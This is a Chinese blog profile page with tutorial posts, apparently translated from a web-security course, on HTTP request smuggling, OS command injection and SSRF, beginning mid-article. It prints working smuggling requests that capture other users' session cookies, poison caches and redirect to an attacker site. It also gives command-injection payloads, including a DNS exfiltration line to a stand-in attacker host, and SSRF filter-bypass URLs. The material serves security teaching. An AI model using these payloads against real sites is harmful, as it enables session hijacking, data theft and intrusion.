Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

前端服务器(转发服务)将其视为一个请求,然后进行访问验证,由于用户拥有访问 /home 的权限,因此把请求转发给后端服务器。然而,后端服务器则将其视为 /home/admin 两个单独的请求,并且认为请求都通过了权限验证,此时 /admin 的访问控制实际上就被绕过了。

前端服务器(转发服务)对请求重写

在许多应用程序中,请求被转发给后端服务之前会进行一些重写,通常是添加一些额外的请求头之类的。例如,转发请求重写可能:

  • 终止 TLS 连接并添加一些描述使用的协议和密钥之类的头。
  • 添加 X-Forwarded-For 头用来标记用户的 IP 地址。
  • 根据用户的会话令牌确定用户 ID ,并添加用于标识用户的头。
  • 添加一些其他攻击感兴趣的敏感信息。

在某些情况下,如果你走私的请求缺少一些前端服务器(转发服务)添加的头,那么后端服务可能不会正常处理,从而导致走私请求无法达到预期的效果。

通常有一些简单的方法可以准确地得知前端服务器(转发服务)是如何重写请求的。为此,需要执行以下步骤:

  • 找到一个将请求参数的值反映到应用程序响应中的 POST 请求。
  • 随机排列参数,以使反映的参数出现在消息体的最后。
  • 将这个请求走私到后端服务器,然后直接发送一个要显示其重写形式的普通请求。

假设应用程序有个登录的功能,其会反映 email 参数:

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

响应内容包括:

<input id="email" value="wiener@normal-user.net" type="text">

此时,你可以使用以下请求走私攻击来揭示前端服务器(转发服务)对请求的重写:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...

前端服务器(转发服务)将会重写请求以添加标头,然后后端服务器将处理走私请求,并将第二个请求当作 email 参数的值,且在响应中反映出来:

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

注意:由于最后的请求正在重写,你不知道它需要多长时间结束。走私请求中的 Content-Length 头的值将决定后端服务器处理请求的时间。如果将此值设置得太短,则只会收到部分重写请求;如果设置得太长,后端服务器将会等待超时。当然,解决方案是猜测一个比提交的请求稍大一点的初始值,然后逐渐增大该值以检索更多信息,直到获得感兴趣的所有内容。

一旦了解了转发服务器如何重写请求,就可以对走私的请求进行必要的调整,以确保后端服务器以预期的方式对其进行处理。

捕获其他用户的请求

如果应用程序包含存储和检索文本数据的功能,那么可以使用 HTTP 请求走私去捕获其他用户请求的内容。这些内容可能包括会话令牌(捕获后可以进行会话劫持攻击),或其他用户提交的敏感数据。被攻击的功能通常有评论、电子邮件、个人资料、显示昵称等等。

要进行攻击,您需要走私一个将数据提交到存储功能的请求,其中包含该数据的参数位于请求的最后。后端服务器处理的下一个请求将追加到走私请求后,结果将存储另一个用户的原始请求。

假设某个应用程序通过如下请求提交博客帖子评论,该评论将存储并显示在博客上:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

你可以执行以下请求走私攻击,目的是让后端服务器将下一个用户请求当作评论内容进行存储并展示:

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

当下一个用户请求被后端服务器处理时,它将被附加到走私的请求后,结果就是用户的请求,包括会话 cookie 和其他敏感信息会被当作评论内容处理:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...

最后,直接通过正常的查看评论的方式就能看到其他用户请求的详细信息了。

注意:这种技术的局限性是,它通常只会捕获一直到走私请求边界符的数据。对于 URL 编码的表单提交,其是 & 字符,这意味着存储的受害用户的请求是直到第一个 & 之间的内容。

使用 HTTP 请求走私进行反射型 XSS 攻击

如果应用程序既存在 HTTP 请求走私漏洞,又存在反射型 XSS 漏洞,那么你可以使用请求走私攻击应用程序的其他用户。这种方法在两个方面优于一般的反射型 XSS 攻击方式:

  • 它不需要与受害用户交互。你不需要给受害用户发送一个钓鱼链接,然后等待他们访问。你只需要走私一个包含 XSS 有效负载的请求,由后端服务器处理的下一个用户的请求就会命中。
  • 它可以在请求的某些部分(如 HTTP 请求头)中利用 XSS 攻击,而这在正常的反射型 XSS 攻击中无法轻易控制。

假设某个应用程序在 User-Agent 头上存在反射型 XSS 漏洞,那么你可以通过如下所示的请求走私利用此漏洞:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

此时,下一个用户的请求将被附加到走私的请求后,且他们将在响应中接收到反射型 XSS 的有效负载。

利用 HTTP 请求走私将站内重定向转换为开放重定向

许多应用程序根据请求的 HOST 头进行站内 URL 的重定向。一个示例是 Apache 和 IIS Web 服务器的默认行为,其中对不带斜杠的目录的请求将重定向到带斜杠的同一个目录:

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

通常,此行为被认为是无害的,但是可以在请求走私攻击中利用它来将其他用户重定向到外部域。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

走私请求将会触发一个到攻击者站点的重定向,这将影响到后端服务处理的下一个用户的请求,例如:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

此时,如果用户请求的是一个在 web 站点导入的 JavaScript 文件,那么攻击者可以通过在响应中返回自己的 JavaScript 来完全控制受害用户。

利用 HTTP 请求走私进行 web cache poisoning

上述攻击的一个变体就是利用 HTTP 请求走私去进行 web cache 投毒。如果前端基础架构中的任何部分使用 cache 缓存,那么可能使用站外重定向响应来破坏缓存。这种攻击的效果将会持续存在,随后对受污染的 URL 发起请求的所有用户都会中招。

在这种变体攻击中,攻击者发送以下内容到前端服务器:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com

后端服务器像之前一样进行站外重定向对走私请求进行响应。前端服务器认为是第二个请求的 URL 的响应,然后进行缓存:

/static/include.js:

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

从此刻开始,当其他用户请求此 URL 时,他们都会收到指向攻击者网站的重定向。

利用 HTTP 请求走私进行 web cache poisoning

另一种攻击变体就是利用 HTTP 请求走私去进行 web cache 欺骗。这与 web cache 投毒的方式类似,但目的不同。

web cache poisoning(缓存中毒) 和 web cache deception(缓存欺骗) 有什么区别?

  • 对于 web cache poisoning(缓存中毒),攻击者会使应用程序在缓存中存储一些恶意内容,这些内容将从缓存提供给其他用户。
  • 对于 web cache deception(缓存欺骗),攻击者使应用程序在缓存中存储属于另一个用户的某些敏感内容,然后攻击者从缓存中检索这些内容。

这种攻击中,攻击者发起一个返回用户特定敏感内容的走私请求。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

来自另一个用户的请求被后端服务器被附加到走私请求后,包括会话 cookie 和其他标头。例如:

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

后端服务器以正常方式响应此请求。这个请求是用来获取用户的私人消息的,且会在受害用户会话的上下文中被正常处理。前端服务器根据第二个请求中的 URL 即 /static/some-image.png 缓存了此响应:

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

然后,攻击者访问静态 URL,并接收从缓存返回的敏感内容。

这里的一个重要警告是,攻击者不知道敏感内容将会缓存到哪个 URL 地址,因为这个 URL 地址是受害者用户在走私请求生效时恰巧碰到的。攻击者可能需要获取大量静态 URL 来发现捕获的内容。

查看原文

赞 3 收藏 2 评论 0

rife 发布了文章 · 3月3日

Web 安全 之 OS command injection

OS command injection

在本节中,我们将解释什么是操作系统命令注入,描述如何检测和利用此漏洞,为不同的操作系统阐明一些有用的命令和技术,并总结如何防止操作系统命令注入。

os command injection

什么是操作系统命令注入

OS 命令注入(也称为 shell 注入)是一个 web 安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意的操作系统命令,这通常会对应用程序及其所有数据造成严重危害。并且,攻击者也常常利用此漏洞危害基础设施中的其他部分,利用信任关系攻击组织内的其他系统。

执行任意命令

假设某个购物应用程序允许用户查看某个商品在特定商店中是否有库存,此信息可以通过以下 URL 获取:

https://insecure-website.com/stockStatus?productID=381&storeID=29

为了提供返回信息,应用程序必须查询各种遗留系统。由于历史原因,此功能通过调用 shell 命令并传递参数来实现如下:

stockreport.pl 381 29

此命令输出特定商店中某个商品的库存信息,并将其返回给用户。

由于应用程序没有对 OS 命令注入进行防御,那么攻击者可以提交类似以下输入来执行任意命令:

& echo aiwefwlguh &

如果这个输入被当作 productID 参数,那么应用程序执行的命令就是:

stockreport.pl & echo aiwefwlguh & 29

echo 命令就是让提供的字符串在输出中显示的作用,其是测试某些 OS 命令注入的有效方法。& 符号就是一个 shell 命令分隔符,因此上例实际执行的是一个接一个的三个单独的命令。因此,返回给用户的输出为:

Error - productID was not provided
aiwefwlguh
29: command not found

这三行输出表明:

  • 原来的 stockreport.pl 命令由于没有收到预期的参数,因此返回错误信息。
  • 注入的 echo 命令执行成功。
  • 原始的参数 29 被当成了命令执行,也导致了异常。

将命令分隔符 & 放在注入命令之后通常是有用的,因为它会将注入的命令与注入点后面的命令分开,这减少了随后发生的事情将阻止注入命令执行的可能性。

常用的命令

当你识别 OS 命令注入漏洞时,执行一些初始命令以获取有关系统信息通常很有用。下面是一些在 Linux 和 Windows 平台上常用命令的摘要:

命令含义LinuxWindows
显示当前用户名whoamiwhoami
显示操作系统信息uname -aver
显示网络配置ifconfigipconfig /all
显示网络连接netstat -annetstat -an
显示正在运行的进程ps -eftasklist

不可见 OS 命令注入漏洞

许多 OS 命令注入漏洞都是不可见的,这意味着应用程序不会在其 HTTP 响应中返回命令的输出。 不可见 OS 命令注入漏洞仍然可以被利用,但需要不同的技术。

假设某个 web 站点允许用户提交反馈信息,用户输入他们的电子邮件地址和反馈信息,然后服务端生成一封包含反馈信息的电子邮件投递给网站管理员。为此,服务端需要调用 mail 程序,如下:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail 命令的输出并没有作为应用程序的响应返回,因此使用 echo 负载不会有效。这种情况,你可以使用一些其他的技术来检测漏洞。

基于延时检测

你可以使用能触发延时的注入命令,然后根据应用程序的响应时长来判断注入的命令是否被执行。使用 ping 命令是一种有效的方式,因为此命令允许你指定要发送的 ICMP 包的数量以及命令运行的时间:

& ping -c 10 127.0.0.1 &

这个命令将会 ping 10 秒钟。

重定向输出

你可以将注入命令的输出重定向到能够使用浏览器访问到的 web 目录。例如,应用程序使用 /var/www/static 路径作为静态资源目录,那么你可以提交以下输入:

& whoami > /var/www/static/whoami.txt &

> 符号就是输出重定向的意思,上面这个命令就是把 whoami 的执行结果输出到 /var/www/static/whoami.txt 文件中,然后你就可以通过浏览器访问 https://vulnerable-website.com/whoami.txt 查看命令的输出结果。

使用 OAST 技术

使用 OAST 带外技术就是你要有一个自己控制的外部系统,然后注入命令执行,触发与你控制的系统的交互。例如:

& nslookup kgji2ohoyw.web-attacker.com &

这个负载使用 nslookup 命令对指定域名进行 DNS 查找,攻击者可以监视是否发生了指定的查找,从而检测命令是否成功注入执行。

带外通道还提供了一种简单的方式将注入命令的输出传递出来,例如:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

这将导致对攻击者控制的域名的 DNS 查找,如:

wwwuser.kgji2ohoyw.web-attacker.com

注入 OS 命令的方法

各种 shell 元字符都可以用于执行 OS 命令注入攻击。

许多字符用作命令分隔符,从而将多个命令连接在一起。以下分隔符在 Windows 和 Unix 类系统上均可使用:

  • &
  • &&
  • |
  • ||

以下命令分隔符仅适用于 Unix 类系统:

  • ;
  • 换行符(0x0a\n

在 Unix 类系统上,还可以使用 ` 反引号和 $ 符号在原始命令内注入命令内联执行:

  • `
  • $

需要注意的是,不同的 shell 元字符具有细微不同的行为,这些行为可能会影响它们在某些情况下是否工作,以及它们是否允许在带内检索命令输出,或者只对不可见 OS 利用有效。

有时,你控制的输入会出现在原始命令中的引号内。在这种情况下,您需要在使用合适的 shell 元字符注入新命令之前终止引用的上下文(使用 "')。

如何防御 OS 命令注入攻击

防止 OS 命令注入攻击最有效的方法就是永远不要从应用层代码中调用 OS 命令。几乎在对于所有情况下,都有使用更安全的平台 API 来实现所需功能的替代方法。

如果认为使用用户提供的输入调用 OS 命令是不可避免的,那么必须执行严格的输入验证。有效验证的一些例子包括:

  • 根据允许值的白名单校验。
  • 验证输入是否为数字。
  • 验证输入是否只包含字母数字字符,不包含其它语法或空格。

不要试图通过转义 shell 元字符来清理输入。实际上,这太容易出错,且很容易被熟练的攻击者绕过。

公众号

查看原文

赞 4 收藏 3 评论 0

rife 发布了文章 · 3月1日

Web 安全 之 Server-side request forgery

Server-side request forgery (SSRF)

在本节中,我们将解释 server-side request forgery(服务端请求伪造)是什么,并描述一些常见的示例,以及解释如何发现和利用各种 SSRF 漏洞。

SSRF 是什么

SSRF 服务端请求伪造是一个 web 漏洞,它允许攻击者诱导服务端程序向攻击者选择的任何地址发起 HTTP 请求。

在典型的 SSRF 示例中,攻击者可能会使服务端建立一个到服务端自身、或组织基础架构中的其它基于 web 的服务、或外部第三方系统的连接。

SSRF

SSRF 攻击的影响

成功的 SSRF 攻击通常会导致未经授权的操作或对组织内部数据的访问,无论是在易受攻击的应用程序本身,还是应用程序可以通信的其它后端系统。在某些情况下,SSRF 漏洞可能允许攻击者执行任意的命令。

利用 SSRF 漏洞可能可以操作服务端应用程序使其向与之连接的外部第三方系统发起恶意请求,这将导致潜在的法律责任和声誉受损。

常见的 SSRF 攻击

SSRF 攻击通常利用服务端应用程序的信任关系发起攻击并执行未经授权的操作。这种信任关系可能包括:对服务端自身的信任,或同组织内其它后端系统的信任。

SSRF 攻击服务端自身

在针对服务端本身的 SSRF 攻击中,攻击者诱导应用程序向其自身发出 HTTP 请求,这通常需要提供一个主机名是 127.0.0.1 或者 localhost 的 URL 。

例如,假设某个购物应用程序,其允许用户查看某个商品在特定商店中是否有库存。为了提供库存信息,应用程序需要通过 REST API 查询其他后端服务,而其他后端服务的 URL 地址直接包含在前端 HTTP 请求中。因此,当用户查看商品的库存状态时,浏览器可能发出如下请求:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

这将导致服务端向指定的 URL 发出请求,检索库存状态,然后将结果返回给用户。

在这种情况下,攻击者可以修改请求以指定服务器本地的 URL ,例如:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin

此时,服务端将会访问本地 /admin URL 并将其内容返回给用户。

当然,攻击者可以直接访问 /admin URL ,但是这通常没用,因为管理功能基本都需要进行适当的身份验证,而如果对 /admin URL 的请求来自机器本地,则正常情况下的访问控制可能会被绕过。该服务端应用程序可能会授予对管理功能的完全访问权限,因为请求似乎来自受信任的位置。

为什么应用程序会以这种方式运行,并且隐式信任来自本地的请求?这可能有多种原因:

  • 访问控制检查可能是另外的一个微服务。当服务器连接自身时,将会绕过访问控制检查。
  • 出于灾难恢复的目的,应用程序可能允许来自本地机器的任何用户在不登录的情况下进行管理访问。这为管理员在丢失凭证时恢复系统提供了一种方法。这里的假设是只有完全可信的用户才能直接来自服务器本地。
  • 管理接口可能与主应用是不同的端口号,因为用户可能无法直接访问。

在这种信任关系中,来自本地机器的请求的处理方式与普通请求不同,这常常使 SSRF 成为一个严重的漏洞。

针对其他后端系统的 SSRF 攻击

SSRF 利用的另外一种信任关系是应用服务端与用户无法直接访问的内部后端系统之间进行的交互,这些后端系统通常具有不可路由的专用 IP 地址,由于受到网络拓扑结构的保护,它们的安全性往往较弱。在许多情况下,内部后端系统包含一些敏感功能,任何能够与系统交互的人都可以在不进行身份验证的情况下访问这些功能。

在前面的示例中,假设后端系统有一个管理接口 https://192.168.0.68/admin 。此时,攻击者可以通过提交以下请求利用 SSRF 漏洞访问管理接口:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://192.168.0.68/admin

规避常见的 SSRF 防御

通常应用程序包含 SSRF 行为以及防止恶意攻击的防御措施,然而这些防御措施是可以被规避的。

基于黑名单过滤的 SSRF

某些应用程序禁止例如 127.0.0.1localhost 等主机名、或 /admin 等敏感 URL 。这种情况下,可以使用各种技巧绕过过滤:

  • 使用 127.0.0.1 的替代 IP 地址表示,例如 2130706433017700000001127.1
  • 注册自己的域名,并解析为 127.0.0.1 ,你可以直接使用 spoofed.burpcollaborator.net
  • 使用 URL 编码或大小写变化来混淆被阻止的字符串。

基于白名单过滤的 SSRF

有些应用程序只允许输入匹配、或包含白名单中的值,或以白名单中的值开头。在这种情况下,有时可以利用 URL 解析的不一致来绕过过滤器。

URL 规范包含有许多在实现 URL 的解析和验证时容易被忽略的特性:

  • 你可以在主机名之前使用 @ 符号嵌入凭证。例如 https://expected-host@evil-host
  • 你可以使用 # 符号表示一个 URL 片段。例如 https://evil-host#expected-host
  • 你可以利用 DNS 命令层次结构将所需的输入放入你控制的标准 DNS 名称中。例如 https://expected-host.evil-host
  • 你可以使用 URL 编码字符来迷惑 URL 解析代码。如果处理 URL 编码的过滤器的实现不同与执行后端 HTTP 请求的代码,这一点尤其有用。
  • 你可以把这些技巧结合起来使用。

通过开放重定向绕过 SSRF 过滤器

有时利用开放重定向漏洞可以绕过任何基于过滤器的防御。

在前面的示例中,假设用户提交的 URL 经过严格验证,以防止恶意利用 SSRF 的行为,但是,允许使用 URL 的应用程序包含一个开放重定向漏洞。如果用于发起后端 HTTP 请求的 API 支持重定向,那么你可以构造一个满足过滤器的要求的 URL ,并将请求重定向到所需的后端目标。

例如,假设应用程序包含一个开放重定向漏洞,例如下面 URL 的形式:

/product/nextProduct?currentProductId=6&path=http://evil-user.net

重定向到:

http://evil-user.net

你可以利用开放重定向漏洞绕过 URL 过滤器,并利用 SSRF 漏洞进行攻击,如:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

这个 SSRF 攻击之所有有效,是因为首先 stockAPI URL 在应用程序允许的域上,然后应用程序向提供的 URL 发起请求,触发了重定向,最终向重定向的内部 URL 发起了请求。

Blind SSRF - 不可见 SSRF 漏洞

所谓 Blind SSRF(不可见 SSRF)漏洞是指,可以诱导应用程序向提供的 URL 发起后端 HTTP 请求,但是请求的响应并没有在应用程序的前端响应中返回。

不可见 SSRF 漏洞通常较难利用,但有时会导致服务器或其他后端组件上的远程代码执行。

寻找 SSRF 漏洞的隐藏攻击面

许多 SSRF 漏洞之所以相对容易发现,是因为应用程序的正常通信中就包含了完整的 URL 请求参数。而其它情况就比较难搞了。

请求中的部分 URL

有时应用程序只将主机名或 URL 路径的一部分放入请求参数中,然后,提交的值被合并到服务端请求的完整 URL 中。如果该值很容易被识别为主机名或 URL 路径,那么潜在的攻击面可能很明显。但是,因为你不能控制最终请求的 URL,所以 SSRF 的可利用性会受到限制。

数据格式内的 URL

有些应用程序以某种数据格式传输数据,URL 则包含在指定数据格式中。这里的数据格式的一个明显的例子就是 XML ,当应用程序接受 XML 格式的数据并对其进行解析时,可能会受到 XXE 注入,进而通过 XXE 完成 SSRF 攻击。有关 XXE 注入漏洞会有专门的章节讲解。

通过 Referer 头的 SSRF

一些应用程序使用服务端分析软件来跟踪访问者,这种软件经常在请求中记录 Referer 头,因为这对于跟踪传入链接特别有用。通常,分析软件实际上会访问 Referer 头中出现的任何第三方 URL 。这通常用于分析引用站点的内容,包括传入链接中使用的锚文本。因此,Referer 头通常是 SSRF 漏洞的有效攻击面。有关涉及 Referer 头的漏洞示例请参阅 Blind SSRF


Blind SSRF

在本节中,我们将解释什么是不可见的服务端请求伪造,并描述一些常见的不可见 SSRF 示例,以及解释如何发现和利用不可见 SSRF 漏洞。

什么是不可见 SSRF

不可见 SSRF 漏洞是指,可以诱导应用程序向提供的 URL 发出后端 HTTP 请求,但来自后端请求的响应没有在应用程序的前端响应中返回。

不可见 SSRF 漏洞的影响

不可见 SSRF 漏洞的影响往往低于完全可见的 SSRF 漏洞,因为其单向性,虽然在某些情况下,可以利用它们从后端系统检索敏感数据,但不能轻易地利用它们来实现完整的远程代码执行。

如何发现和利用不可见 SSRF 漏洞

检测不可见 SSRF 漏洞最可靠的方法是使用 out-of-bandOAST)带外技术。这包括尝试触发对你控制的外部系统的 HTTP 请求,并监视与该系统的网络交互。

使用 OAST 技术最简单有效的方式是使用 Burp Collaborator(此功能需要付费)。你可以使用 Burp Collaborator client 生成唯一的域名,将这个域名以有效负载的形式发送到检测漏洞的应用程序,并监视与这个域名的任何交互,如果观察到来自应用程序传入的 HTTP 请求,则说明应用程序存在 SSRF 漏洞。

注意:在测试 SSRF 漏洞时,通常会观察到所提供域名的 DNS 查找,但是却没有后续的 HTTP 请求。这通常是应用程序视图向该域名发出 HTTP 请求,这导致了初始的 DNS 查找,但实际的 HTTP 请求被网络拦截了。基础设施允许出站的 DNS 流量是相对常见的,因为出于很多目的需要,但是会阻止到意外目的地的 HTTP 连接。

简单地识别一个可以触发 out-of-band 带外 HTTP 请求的不可见 SSRF 漏洞本身并没有提供一个可利用的途径。由于你无法查看来自后端请求的响应,因此也无法得知具体的内容。但是,它仍然可以用来探测服务器本身或其他后端系统上的其他漏洞。你可以盲目地扫描内部 IP 地址空间,发送旨在检测已知漏洞的有效负载,如果这些有效负载也使用带外技术,那么您可能会发现内部服务器上的一个未修补的严重漏洞。

另一种利用不可见 SSRF 漏洞的方法是诱导应用程序连接到攻击者控制下的系统,并将恶意响应返回到进行连接的 HTTP 客户端。如果你可以利用服务端 HTTP 实现中的严重的客户端漏洞,那么你也许能够在应用程序基础架构中进行远程代码执行。

公众号

查看原文

赞 1 收藏 1 评论 0

rife 关注了用户 · 3月1日

高阳Sunny @sunny

SegmentFault 思否 CEO
C14Z.Group Founder
Forbes China 30U30

独立思考 敢于否定

曾经是个话痨... 要做一个有趣的人!

任何问题可以给我发私信或者发邮件 sunny@sifou.com

关注 2174

认证与成就

  • 获得 326 次点赞
  • 获得 57 枚徽章 获得 3 枚金徽章, 获得 20 枚银徽章, 获得 34 枚铜徽章

擅长技能
编辑

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 2016-10-26
个人主页被 8.7k 人浏览